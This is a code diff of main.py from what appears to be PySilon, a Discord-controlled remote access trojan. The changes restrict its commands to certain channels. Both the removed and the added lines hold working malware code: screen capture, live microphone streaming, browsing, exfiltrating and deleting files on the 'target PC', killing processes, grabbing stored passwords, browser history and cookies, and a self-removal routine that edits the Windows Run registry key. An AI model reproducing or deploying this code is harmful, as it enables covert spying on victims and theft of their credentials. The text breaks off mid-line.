diff --git a/main.py b/main.py index 79a7f539..c9b94c87 100644 --- a/main.py +++ b/main.py @@ -171,9 +171,10 @@ async def on_raw_reaction_add(payload): if user.bot == False: if str(reaction) == 'šŸ“Œ': - await message.pin() - last_message = await discord.utils.get(message.channel.history()) - await last_message.delete() + if message.channel.id in channel_ids.values(): + await message.pin() + last_message = await discord.utils.get(message.channel.history()) + await last_message.delete() elif str(reaction) == 'šŸ”“': await message.delete() @@ -181,112 +182,113 @@ async def on_raw_reaction_add(payload): async def on_reaction_add(reaction, user): global tree_messages, messages_from_sending_big_file, expectation, files_to_merge, processes_messages, process_to_kill, expectation, cmd_messages if user.bot == False: - try: - match str(reaction): - case 'šŸ”“': - if reaction.message.content[:15] == '```End of tree.': - for i in tree_messages: - try: await i.delete() - except: pass - tree_messages = [] - os.system('del tree.txt') - elif reaction.message.content == '```End of command stdout```': - for i in cmd_messages: - await i.delete() - cmd_messages = [] - elif reaction.message.content[-25:] == '.kill ```': - for i in processes_messages: - try: await i.delete() - except: pass - processes_messages = [] - elif expectation == 'implosion': - expectation = None - - - case 'šŸ“„': - if reaction.message.content[:15] == '```End of tree.': - await reaction.message.channel.send(file=discord.File('tree.txt')) - os.system('del tree.txt') - - case 'āœ…': - if len(messages_from_sending_big_file) > 1: - for i in messages_from_sending_big_file: - await i.delete() - messages_from_sending_big_file = [] - - case 'šŸ“¤': - if expectation == 'onefile': - split_v1 = str(one_file_attachment_message.attachments).split("filename='")[1] - filename = str(split_v1).split("' ")[0] - await one_file_attachment_message.attachments[0].save(fp='/'.join(working_directory) + '/' + filename) - async for message in reaction.message.channel.history(limit=2): - await message.delete() - await reaction.message.channel.send('```Uploaded ' + filename + ' into ' + '/'.join(working_directory) + '/' + filename + '```') - expectation = None - - elif expectation == 'multiplefiles': - try: os.mkdir('temp') - except: rmtree('temp'); os.mkdir('temp') + if reaction.message.channel.id in channel_ids.values(): + try: + match str(reaction): + case 'šŸ”“': + if reaction.message.content[:15] == '```End of tree.': + for i in tree_messages: + try: await i.delete() + except: pass + tree_messages = [] + os.system('del tree.txt') + elif reaction.message.content == '```End of command stdout```': + for i in cmd_messages: + await i.delete() + cmd_messages = [] + elif reaction.message.content[-25:] == '.kill ```': + for i in processes_messages: + try: await i.delete() + except: pass + processes_messages = [] + elif expectation == 'implosion': + expectation = None + + + case 'šŸ“„': + if reaction.message.content[:15] == '```End of tree.': + await reaction.message.channel.send(file=discord.File('tree.txt')) + os.system('del tree.txt') + + case 'āœ…': + if len(messages_from_sending_big_file) > 1: + for i in messages_from_sending_big_file: + await i.delete() + messages_from_sending_big_file = [] - await files_to_merge[0][-1].edit(content='```Uploading file 1 of ' + str(len(files_to_merge[1])) + '```') - for i in range(len(files_to_merge[1])): - split_v1 = str(files_to_merge[1][i].attachments).split("filename='")[1] + case 'šŸ“¤': + if expectation == 'onefile': + split_v1 = str(one_file_attachment_message.attachments).split("filename='")[1] filename = str(split_v1).split("' ")[0] - await files_to_merge[1][i].attachments[0].save(fp='temp/' + filename) - await files_to_merge[0][-1].edit(content='```Uploading file ' + str(i+1) + ' of ' + str(len(files_to_merge[1])) + '```') - await files_to_merge[0][-1].edit(content='```Uploading completed```') - for i in os.listdir('temp'): - if i != 'manifest': - os.rename('temp/' + i, 'temp/' + i[:-8]) - Merge('temp', '/'.join(working_directory), files_to_merge[2]).merge(cleanup=True) - rmtree('temp') - async for message in client.get_channel(channel_ids['file']).history(): - await message.delete() - await reaction.message.channel.send('```Uploaded ' + files_to_merge[2] + ' into ' + '/'.join(working_directory) + '/' + files_to_merge[2] + '```') - files_to_merge = [[], [], []] - expectation = None + await one_file_attachment_message.attachments[0].save(fp='/'.join(working_directory) + '/' + filename) + async for message in reaction.message.channel.history(limit=2): + await message.delete() + await reaction.message.channel.send('```Uploaded ' + filename + ' into ' + '/'.join(working_directory) + '/' + filename + '```') + expectation = None - case 'šŸ’€': - if reaction.message.content[:39] == '```Do you really want to kill process: ': - await reaction.message.delete() - try: - process_name = process_to_kill[0] - if process_name[-1] == ']': - process_name = process_name[::-1] - for i in range(len(process_name)): - if process_name[i] == '[': - process_name = process_name[i+4:] - break - process_name = process_name[::-1] - except Exception as e: - reaction_msg = await reaction.message.channel.send('```Error while parsing the process name...\n' + str(e) + '```') - await reaction_msg.add_reaction('šŸ”“') - try: - killed_processes = [] - for proc in process_iter(): - if proc.name() == process_name: - proc.kill() - killed_processes.append(proc.name()) - processes_killed = '' - for i in killed_processes: - processes_killed = processes_killed + '\nā€¢ ' + str(i) - reaction_msg = await reaction.message.channel.send('```Processes killed by ' + str(user) + ' at ' + current_time() + processes_killed + '```') - await reaction_msg.add_reaction('šŸ”“') - except Exception as e: - reaction_msg = await reaction.message.channel.send('```Error while killing processes...\n' + str(e) + '```') - await reaction_msg.add_reaction('šŸ”“') - - elif expectation == 'implosion': - registry = winreg.ConnectRegistry(None, winreg.HKEY_CURRENT_USER) - winreg.OpenKey(registry, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run') - registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, winreg.KEY_WRITE) - winreg.DeleteValue(registry_key, software_directory_name) - secure_delete_file('PySilon.key', 10) - cmd = 'start cmd /c "TIMEOUT /T 2&del "' + sys.argv[0] + '"' - os.system(cmd) - sys.exit(0) - - except Exception as err: print(err) + elif expectation == 'multiplefiles': + try: os.mkdir('temp') + except: rmtree('temp'); os.mkdir('temp') + + await files_to_merge[0][-1].edit(content='```Uploading file 1 of ' + str(len(files_to_merge[1])) + '```') + for i in range(len(files_to_merge[1])): + split_v1 = str(files_to_merge[1][i].attachments).split("filename='")[1] + filename = str(split_v1).split("' ")[0] + await files_to_merge[1][i].attachments[0].save(fp='temp/' + filename) + await files_to_merge[0][-1].edit(content='```Uploading file ' + str(i+1) + ' of ' + str(len(files_to_merge[1])) + '```') + await files_to_merge[0][-1].edit(content='```Uploading completed```') + for i in os.listdir('temp'): + if i != 'manifest': + os.rename('temp/' + i, 'temp/' + i[:-8]) + Merge('temp', '/'.join(working_directory), files_to_merge[2]).merge(cleanup=True) + rmtree('temp') + async for message in client.get_channel(channel_ids['file']).history(): + await message.delete() + await reaction.message.channel.send('```Uploaded ' + files_to_merge[2] + ' into ' + '/'.join(working_directory) + '/' + files_to_merge[2] + '```') + files_to_merge = [[], [], []] + expectation = None + + case 'šŸ’€': + if reaction.message.content[:39] == '```Do you really want to kill process: ': + await reaction.message.delete() + try: + process_name = process_to_kill[0] + if process_name[-1] == ']': + process_name = process_name[::-1] + for i in range(len(process_name)): + if process_name[i] == '[': + process_name = process_name[i+4:] + break + process_name = process_name[::-1] + except Exception as e: + reaction_msg = await reaction.message.channel.send('```Error while parsing the process name...\n' + str(e) + '```') + await reaction_msg.add_reaction('šŸ”“') + try: + killed_processes = [] + for proc in process_iter(): + if proc.name() == process_name: + proc.kill() + killed_processes.append(proc.name()) + processes_killed = '' + for i in killed_processes: + processes_killed = processes_killed + '\nā€¢ ' + str(i) + reaction_msg = await reaction.message.channel.send('```Processes killed by ' + str(user) + ' at ' + current_time() + processes_killed + '```') + await reaction_msg.add_reaction('šŸ”“') + except Exception as e: + reaction_msg = await reaction.message.channel.send('```Error while killing processes...\n' + str(e) + '```') + await reaction_msg.add_reaction('šŸ”“') + + elif expectation == 'implosion': + registry = winreg.ConnectRegistry(None, winreg.HKEY_CURRENT_USER) + winreg.OpenKey(registry, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run') + registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, winreg.KEY_WRITE) + winreg.DeleteValue(registry_key, software_directory_name) + secure_delete_file('PySilon.key', 10) + cmd = 'start cmd /c "TIMEOUT /T 2&del "' + sys.argv[0] + '"' + os.system(cmd) + sys.exit(0) + + except Exception as err: print(err) @client.event async def on_raw_reaction_remove(payload): @@ -301,340 +303,341 @@ async def on_raw_reaction_remove(payload): async def on_message(message): global channel_ids, vc, working_directory, tree_messages, messages_from_sending_big_file, files_to_merge, expectation, one_file_attachment_message, processes_messages, processes_list, process_to_kill, cookies_thread, implode_confirmation, cmd_messages if message.author != client.user: - if message.content == '.ss': - await message.delete() - ImageGrab.grab(all_screens=True).save('ss.png') - reaction_msg = await message.channel.send(embed=discord.Embed(title=current_time() + ' `[On demand]`').set_image(url='attachment://ss.png'), file=discord.File('ss.png')); await reaction_msg.add_reaction('šŸ“Œ') - os.system('del ss.png') - - elif message.content == '.join': - await message.delete() - vc = await client.get_channel(channel_ids['voice']).connect(self_deaf=True) - vc.play(PyAudioPCM()) - await message.channel.send('`[' + current_time() + '] Joined voice-channel and streaming microphone in realtime`') + if message.channel.id in channel_ids.values(): + if message.content == '.ss': + await message.delete() + ImageGrab.grab(all_screens=True).save('ss.png') + reaction_msg = await message.channel.send(embed=discord.Embed(title=current_time() + ' `[On demand]`').set_image(url='attachment://ss.png'), file=discord.File('ss.png')); await reaction_msg.add_reaction('šŸ“Œ') + os.system('del ss.png') + + elif message.content == '.join': + await message.delete() + vc = await client.get_channel(channel_ids['voice']).connect(self_deaf=True) + vc.play(PyAudioPCM()) + await message.channel.send('`[' + current_time() + '] Joined voice-channel and streaming microphone in realtime`') + + elif message.content == '.tree': + await message.delete() + if message.channel.id == channel_ids['file']: + tree_messages = [] + + dir_path = Path('/'.join(working_directory)) + tree_messages.append(await message.channel.send('```Directory tree requested by ' + str(message.author) + '\n\n' + '/'.join(working_directory) + '```')) + with open('tree.txt', 'w', encoding='utf-8') as system_tree: + system_tree.write(str(dir_path) + '\n') + + length_limit = sys.maxsize + iterator = tree(Path('/'.join(working_directory))) + + tree_message_content = '```^\n' + for line in islice(iterator, length_limit): + with open('tree.txt', 'a+', encoding='utf-8') as system_tree: + system_tree.write(line + '\n') + if len(tree_message_content) > 1800: + tree_messages.append(await message.channel.send(tree_message_content + str(line) + '```')) + tree_message_content = '```' + else: + tree_message_content += str(line) + '\n' + if tree_message_content != '```': + tree_messages.append(await message.channel.send(tree_message_content + '```')) + + reaction_msg = await message.channel.send('```End of tree. React with šŸ“„ to download this tree as .txt file, or with šŸ”“ to clear all above messages```') + await reaction_msg.add_reaction('šŸ“„') + await reaction_msg.add_reaction('šŸ”“') + else: + reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') - elif message.content == '.tree': - await message.delete() - if message.channel.id == channel_ids['file']: - tree_messages = [] - - dir_path = Path('/'.join(working_directory)) - tree_messages.append(await message.channel.send('```Directory tree requested by ' + str(message.author) + '\n\n' + '/'.join(working_directory) + '```')) - with open('tree.txt', 'w', encoding='utf-8') as system_tree: - system_tree.write(str(dir_path) + '\n') - - length_limit = sys.maxsize - iterator = tree(Path('/'.join(working_directory))) - - tree_message_content = '```^\n' - for line in islice(iterator, length_limit): - with open('tree.txt', 'a+', encoding='utf-8') as system_tree: - system_tree.write(line + '\n') - if len(tree_message_content) > 1800: - tree_messages.append(await message.channel.send(tree_message_content + str(line) + '```')) - tree_message_content = '```' + elif message.content[:3] == '.cd': + await message.delete() + if message.channel.id == channel_ids['file']: + if message.content.strip() == '.cd': + reaction_msg = await message.channel.send('```Syntax: .cd ```'); await reaction_msg.add_reaction('šŸ”“') else: - tree_message_content += str(line) + '\n' - if tree_message_content != '```': - tree_messages.append(await message.channel.send(tree_message_content + '```')) - - reaction_msg = await message.channel.send('```End of tree. React with šŸ“„ to download this tree as .txt file, or with šŸ”“ to clear all above messages```') - await reaction_msg.add_reaction('šŸ“„') - await reaction_msg.add_reaction('šŸ”“') - else: - reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') + if os.path.isdir('/'.join(working_directory) + '/' + message.content[4:]): + if message.content[4:] == '..': + working_directory.pop(-1) + else: + working_directory.append(message.content[4:]) + reaction_msg = await message.channel.send('```You are now in: ' + '/'.join(working_directory) + '```'); await reaction_msg.add_reaction('šŸ”“') + else: + reaction_msg = await message.channel.send('```ā— Directory not found.```'); await reaction_msg.add_reaction('šŸ”“') - elif message.content[:3] == '.cd': - await message.delete() - if message.channel.id == channel_ids['file']: - if message.content.strip() == '.cd': - reaction_msg = await message.channel.send('```Syntax: .cd ```'); await reaction_msg.add_reaction('šŸ”“') else: - if os.path.isdir('/'.join(working_directory) + '/' + message.content[4:]): - if message.content[4:] == '..': - working_directory.pop(-1) + reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') + + elif message.content == '.ls': + await message.delete() + if message.channel.id == channel_ids['file']: + dir_content_f, dir_content_d, directory_content = [], [], [] + for element in os.listdir('/'.join(working_directory)+'/'): + if os.path.isfile('/'.join(working_directory)+'/'+element): dir_content_f.append(element) + else: dir_content_d.append(element) + dir_content_d.sort(key=str.casefold); dir_content_f.sort(key=str.casefold) + for single_directory in dir_content_d: directory_content.append(single_directory) + for single_file in dir_content_f: directory_content.append(single_file) + await message.channel.send('```Content of ' + '/'.join(working_directory) +'/ at ' + current_time() + '```') + lsoutput = directory_content + while lsoutput != []: + if len('\n'.join(lsoutput)) > 1994: + temp = '' + while len(temp+lsoutput[0])+1 < 1994: + temp += lsoutput[0] + '\n' + lsoutput.pop(0) + await message.channel.send('```' + temp + '```') else: - working_directory.append(message.content[4:]) - reaction_msg = await message.channel.send('```You are now in: ' + '/'.join(working_directory) + '```'); await reaction_msg.add_reaction('šŸ”“') - else: - reaction_msg = await message.channel.send('```ā— Directory not found.```'); await reaction_msg.add_reaction('šŸ”“') + await message.channel.send('```' + '\n'.join(lsoutput) + '```') + lsoutput = [] + else: + reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') - else: - reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') + elif message.content == '.pwd': + await message.delete() + if message.channel.id == channel_ids['file']: + reaction_msg = await message.channel.send('```You are now in: ' + '/'.join(working_directory) + '```'); await reaction_msg.add_reaction('šŸ”“') + else: + reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') - elif message.content == '.ls': - await message.delete() - if message.channel.id == channel_ids['file']: - dir_content_f, dir_content_d, directory_content = [], [], [] - for element in os.listdir('/'.join(working_directory)+'/'): - if os.path.isfile('/'.join(working_directory)+'/'+element): dir_content_f.append(element) - else: dir_content_d.append(element) - dir_content_d.sort(key=str.casefold); dir_content_f.sort(key=str.casefold) - for single_directory in dir_content_d: directory_content.append(single_directory) - for single_file in dir_content_f: directory_content.append(single_file) - await message.channel.send('```Content of ' + '/'.join(working_directory) +'/ at ' + current_time() + '```') - lsoutput = directory_content - while lsoutput != []: - if len('\n'.join(lsoutput)) > 1994: - temp = '' - while len(temp+lsoutput[0])+1 < 1994: - temp += lsoutput[0] + '\n' - lsoutput.pop(0) - await message.channel.send('```' + temp + '```') + elif message.content[:9] == '.download': + await message.delete() + if message.channel.id == channel_ids['file']: + if message.content == '.download': + reaction_msg = await message.channel.send('```Syntax: .download ```'); await reaction_msg.add_reaction('šŸ”“') else: - await message.channel.send('```' + '\n'.join(lsoutput) + '```') - lsoutput = [] - else: - reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') - - elif message.content == '.pwd': - await message.delete() - if message.channel.id == channel_ids['file']: - reaction_msg = await message.channel.send('```You are now in: ' + '/'.join(working_directory) + '```'); await reaction_msg.add_reaction('šŸ”“') - else: - reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') + if os.path.exists('/'.join(working_directory) + '/' + message.content[10:]): + target_file = '/'.join(working_directory) + '/' + message.content[10:] + if os.path.isdir(target_file): + target_file += '.zip' + with ZipFile(target_file,'w') as zip: + for file in get_all_file_paths('.'.join(target_file.split('.')[:-1])): + zip.write(file) + + if os.stat(target_file).st_size <= 8388608: + await message.channel.send(file=discord.File(target_file)) + else: + try: os.mkdir('temp') + except: rmtree('temp'); os.mkdir('temp') + Split(target_file, 'temp').bysize(1024*1024*8) + splitted_files_to_send = os.listdir('temp') + for sfile in splitted_files_to_send: + if sfile != 'manifest': + os.rename('temp/' + sfile, 'temp/' + sfile + '.pysilon') + splitted_files_to_send = os.listdir('temp') + + messages_from_sending_big_file = [] + for i in splitted_files_to_send: + messages_from_sending_big_file.append(await message.channel.send(file=discord.File('temp/' + i))) + rmtree('temp') + reaction_msg = await message.channel.send('```Download all above files, run merger.exe and then react to this message```') + messages_from_sending_big_file.append(reaction_msg) + await reaction_msg.add_reaction('āœ…') + else: + reaction_msg = await message.channel.send('```ā— File or directory not found.```'); await reaction_msg.add_reaction('šŸ”“') + else: + reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') - elif message.content[:9] == '.download': - await message.delete() - if message.channel.id == channel_ids['file']: - if message.content == '.download': - reaction_msg = await message.channel.send('```Syntax: .download ```'); await reaction_msg.add_reaction('šŸ”“') + elif message.content[:7] == '.upload': + await message.delete() + if message.channel.id == channel_ids['file']: + if message.content.strip() == '.upload': + reaction_msg = await message.channel.send('```Syntax: .upload [name]\nTypes:\n single - upload one file with size less than 8MB\n multiple - upload multiple files prepared by Splitter with total size greater than 8MB```'); await reaction_msg.add_reaction('šŸ”“') + else: + if message.content[8:] == 'single': + expectation = 'onefile' + await message.channel.send('```Please send here a file to upload.```') + elif message.content[8:16] == 'multiple' and len(message.content) > 17: + expectation = 'multiplefiles' + files_to_merge[2] = message.content[17:] + files_to_merge[0].append(await message.channel.send('```Please send here all files (one-by-one) prepared by Splitter and then type .done```')) + else: reaction_msg = await message.channel.send('```Syntax: .upload multiple ```'); await reaction_msg.add_reaction('šŸ”“') else: - if os.path.exists('/'.join(working_directory) + '/' + message.content[10:]): - target_file = '/'.join(working_directory) + '/' + message.content[10:] - if os.path.isdir(target_file): - target_file += '.zip' - with ZipFile(target_file,'w') as zip: - for file in get_all_file_paths('.'.join(target_file.split('.')[:-1])): - zip.write(file) - - if os.stat(target_file).st_size <= 8388608: - await message.channel.send(file=discord.File(target_file)) - else: - try: os.mkdir('temp') - except: rmtree('temp'); os.mkdir('temp') - Split(target_file, 'temp').bysize(1024*1024*8) - splitted_files_to_send = os.listdir('temp') - for sfile in splitted_files_to_send: - if sfile != 'manifest': - os.rename('temp/' + sfile, 'temp/' + sfile + '.pysilon') - splitted_files_to_send = os.listdir('temp') + reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') - messages_from_sending_big_file = [] - for i in splitted_files_to_send: - messages_from_sending_big_file.append(await message.channel.send(file=discord.File('temp/' + i))) - rmtree('temp') - reaction_msg = await message.channel.send('```Download all above files, run merger.exe and then react to this message```') - messages_from_sending_big_file.append(reaction_msg) - await reaction_msg.add_reaction('āœ…') + elif message.content[:7] == '.remove': + await message.delete() + if message.channel.id == channel_ids['file']: + if message.content.strip() == '.remove': + reaction_msg = await message.channel.send('```Syntax: .remove ```'); await reaction_msg.add_reaction('šŸ”“') else: - reaction_msg = await message.channel.send('```ā— File or directory not found.```'); await reaction_msg.add_reaction('šŸ”“') - else: - reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') + if os.path.exists('/'.join(working_directory) + '/' + message.content[8:]): + try: + if os.path.isfile('/'.join(working_directory) + '/' + message.content[8:]): + os.system('del "' + '\\'.join(working_directory) + '\\' + message.content[8:] + '"') + else: + rmtree('/'.join(working_directory) + '/' + message.content[8:]) + reaction_msg = await message.channel.send('```Successfully removed ' + '/'.join(working_directory) + '/' + message.content[8:] + ' from target PC```'); await reaction_msg.add_reaction('šŸ”“') + except Exception as error: + reaction_msg = await message.channel.send('`' + str(error) + '`'); await reaction_msg.add_reaction('šŸ”“') + else: + reaction_msg = await message.channel.send('```ā— File or directory not found.```'); await reaction_msg.add_reaction('šŸ”“') + else: + reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') + + elif message.content == '.done': + await message.delete() + if message.channel.id == channel_ids['file']: + if expectation == 'multiplefiles': + files_to_merge[0].append(await message.channel.send('```This files will be uploaded and merged into ' + '/'.join(working_directory) + '/' + files_to_merge[2] + ' after you react with šŸ“¤ to this message, or with šŸ”“ to cancel this operation```')) + await files_to_merge[0][-1].add_reaction('šŸ“¤') + await files_to_merge[0][-1].add_reaction('šŸ”“') + else: + reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') - elif message.content[:7] == '.upload': - await message.delete() - if message.channel.id == channel_ids['file']: - if message.content.strip() == '.upload': - reaction_msg = await message.channel.send('```Syntax: .upload [name]\nTypes:\n single - upload one file with size less than 8MB\n multiple - upload multiple files prepared by Splitter with total size greater than 8MB```'); await reaction_msg.add_reaction('šŸ”“') + elif message.content == '.clear': + await message.delete() + if message.channel.id == channel_ids['file']: + async for message in client.get_channel(channel_ids['file']).history(): + await message.delete() else: - if message.content[8:] == 'single': - expectation = 'onefile' - await message.channel.send('```Please send here a file to upload.```') - elif message.content[8:16] == 'multiple' and len(message.content) > 17: - expectation = 'multiplefiles' - files_to_merge[2] = message.content[17:] - files_to_merge[0].append(await message.channel.send('```Please send here all files (one-by-one) prepared by Splitter and then type .done```')) - else: reaction_msg = await message.channel.send('```Syntax: .upload multiple ```'); await reaction_msg.add_reaction('šŸ”“') - else: - reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') + reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') - elif message.content[:7] == '.remove': - await message.delete() - if message.channel.id == channel_ids['file']: - if message.content.strip() == '.remove': - reaction_msg = await message.channel.send('```Syntax: .remove ```'); await reaction_msg.add_reaction('šŸ”“') + elif message.content[:5] == '.show': + await message.delete() + if message.content.strip() == '.show': + reaction_msg = await message.channel.send('```Syntax: .show ```'); await reaction_msg.add_reaction('šŸ”“') else: - if os.path.exists('/'.join(working_directory) + '/' + message.content[8:]): - try: - if os.path.isfile('/'.join(working_directory) + '/' + message.content[8:]): - os.system('del "' + '\\'.join(working_directory) + '\\' + message.content[8:] + '"') + if message.content[6:] == 'processes': + processes, processes_list = [], [] + for proc in process_iter(): + processes.append(proc.name()) + processes.sort(key=str.lower) + how_many, temp = 1, processes[0]; processes.pop(0) + for i in processes: + if temp == i: how_many += 1 + else: + if how_many == 1: processes_list.append('``' + temp + '``') + else: processes_list.append('``' + temp + '`` [x' + str(how_many) + ']'); how_many = 1 + temp = i + total_processes = len(processes) + processes = '' + reaction_msg = await message.channel.send('```Processes at ' + current_time() + ' requested by ' + str(message.author) + '```') + processes_messages.append(reaction_msg) + for proc in range(1, len(processes_list)): + if len(processes) < 1800: + processes = processes + '\n**' + str(proc) + ') **' + str(processes_list[proc]) else: - rmtree('/'.join(working_directory) + '/' + message.content[8:]) - reaction_msg = await message.channel.send('```Successfully removed ' + '/'.join(working_directory) + '/' + message.content[8:] + ' from target PC```'); await reaction_msg.add_reaction('šŸ”“') - except Exception as error: - reaction_msg = await message.channel.send('`' + str(error) + '`'); await reaction_msg.add_reaction('šŸ”“') + processes += '\n**' + str(proc) + ') **' + str(processes_list[proc]) + reaction_msg = await message.channel.send(processes) + processes_messages.append(reaction_msg) + processes = '' + reaction_msg = await message.channel.send(processes + '\n Total processes:** ' + str(total_processes) + '**\n```If you want to kill a process, type .kill ```') + processes_messages.append(reaction_msg) + await reaction_msg.add_reaction('šŸ”“') + + elif message.content[:5] == '.kill': + await message.delete() + if len(processes_list) > 10: + try: asd = int(message.content[6:]) + 1 + except: + reaction_msg = await message.channel.send('```Please provide a valid number of process from .show processes```') + await reaction_msg.add_reaction('šŸ”“') + return + if int(message.content[6:]) < len(processes_list) and int(message.content[6:]) > 0: + reaction_msg = await message.channel.send('```Do you really want to kill process: ' + processes_list[int(message.content[6:])].replace('`', '') + '\nReact with šŸ’€ to kill it or šŸ”“ to cancel...```') + process_to_kill = [processes_list[int(message.content[6:])].replace('`', ''), False] + await reaction_msg.add_reaction('šŸ’€') + await reaction_msg.add_reaction('šŸ”“') else: - reaction_msg = await message.channel.send('```ā— File or directory not found.```'); await reaction_msg.add_reaction('šŸ”“') - else: - reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') - - elif message.content == '.done': - await message.delete() - if message.channel.id == channel_ids['file']: - if expectation == 'multiplefiles': - files_to_merge[0].append(await message.channel.send('```This files will be uploaded and merged into ' + '/'.join(working_directory) + '/' + files_to_merge[2] + ' after you react with šŸ“¤ to this message, or with šŸ”“ to cancel this operation```')) - await files_to_merge[0][-1].add_reaction('šŸ“¤') - await files_to_merge[0][-1].add_reaction('šŸ”“') - else: - reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') - - elif message.content == '.clear': - await message.delete() - if message.channel.id == channel_ids['file']: - async for message in client.get_channel(channel_ids['file']).history(): - await message.delete() - else: - reaction_msg = await message.channel.send('||-||\nā—`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>ā—\n||-||'); await reaction_msg.add_reaction('šŸ”“') - - elif message.content[:5] == '.show': - await message.delete() - if message.content.strip() == '.show': - reaction_msg = await message.channel.send('```Syntax: .show ```'); await reaction_msg.add_reaction('šŸ”“') - else: - if message.content[6:] == 'processes': - processes, processes_list = [], [] - for proc in process_iter(): - processes.append(proc.name()) - processes.sort(key=str.lower) - how_many, temp = 1, processes[0]; processes.pop(0) - for i in processes: - if temp == i: how_many += 1 - else: - if how_many == 1: processes_list.append('``' + temp + '``') - else: processes_list.append('``' + temp + '`` [x' + str(how_many) + ']'); how_many = 1 - temp = i - total_processes = len(processes) - processes = '' - reaction_msg = await message.channel.send('```Processes at ' + current_time() + ' requested by ' + str(message.author) + '```') - processes_messages.append(reaction_msg) - for proc in range(1, len(processes_list)): - if len(processes) < 1800: - processes = processes + '\n**' + str(proc) + ') **' + str(processes_list[proc]) - else: - processes += '\n**' + str(proc) + ') **' + str(processes_list[proc]) - reaction_msg = await message.channel.send(processes) - processes_messages.append(reaction_msg) - processes = '' - reaction_msg = await message.channel.send(processes + '\n Total processes:** ' + str(total_processes) + '**\n```If you want to kill a process, type .kill ```') - processes_messages.append(reaction_msg) + reaction_msg = await message.channel.send("```There isn't any process with that index. Range of process indexes is 1-" + str(len(processes_list)-1) + '```') + await reaction_msg.add_reaction('šŸ”“') + else: + reaction_msg = await message.channel.send('```You need to generate the processes list to use this feature\n.show processes```') await reaction_msg.add_reaction('šŸ”“') - elif message.content[:5] == '.kill': - await message.delete() - if len(processes_list) > 10: - try: asd = int(message.content[6:]) + 1 - except: - reaction_msg = await message.channel.send('```Please provide a valid number of process from .show processes```') - await reaction_msg.add_reaction('šŸ”“') - return - if int(message.content[6:]) < len(processes_list) and int(message.content[6:]) > 0: - reaction_msg = await message.channel.send('```Do you really want to kill process: ' + processes_list[int(message.content[6:])].replace('`', '') + '\nReact with šŸ’€ to kill it or šŸ”“ to cancel...```') - process_to_kill = [processes_list[int(message.content[6:])].replace('`', ''), False] - await reaction_msg.add_reaction('šŸ’€') - await reaction_msg.add_reaction('šŸ”“') + elif message.content[:5] == '.grab': + await message.delete() + if message.content.strip() == '.grab': + reaction_msg = await message.channel.send('```Syntax: .grab ```'); await reaction_msg.add_reaction('šŸ”“') else: - reaction_msg = await message.channel.send("```There isn't any process with that index. Range of process indexes is 1-" + str(len(processes_list)-1) + '```') - await reaction_msg.add_reaction('šŸ”“') - else: - reaction_msg = await message.channel.send('```You need to generate the processes list to use this feature\n.show processes```') - await reaction_msg.add_reaction('šŸ”“') + if message.content[6:] == 'passwords': + grab_passwords() + reaction_msg = await message.channel.send('``Grabbed passwords:``', file=discord.File('credentials.txt', filename='credentials.txt')); await reaction_msg.add_reaction('šŸ“Œ') + os.system('del credentials.txt') + + elif message.content[6:] == 'history': + with open('history.txt', 'w') as history: + for entry in get_history().histories: + history.write(entry[0].strftime('%d.%m.%Y %H:%M') + ' -> ' + entry[1] +'\n\n') + reaction_msg = await message.channel.send(file=discord.File('history.txt')); await reaction_msg.add_reaction('šŸ”“') + os.system('del history.txt') + + elif message.content[6:] == 'cookies': + if cookies_thread == None: + cookies_thread = Thread(target=grab_cookies); cookies_thread.start() + await message.channel.send('```Grabbing cookies. Please wait...```') + else: + reaction_msg = await message.channel.send('``Cookies are being collected. Please be patient...``'); await 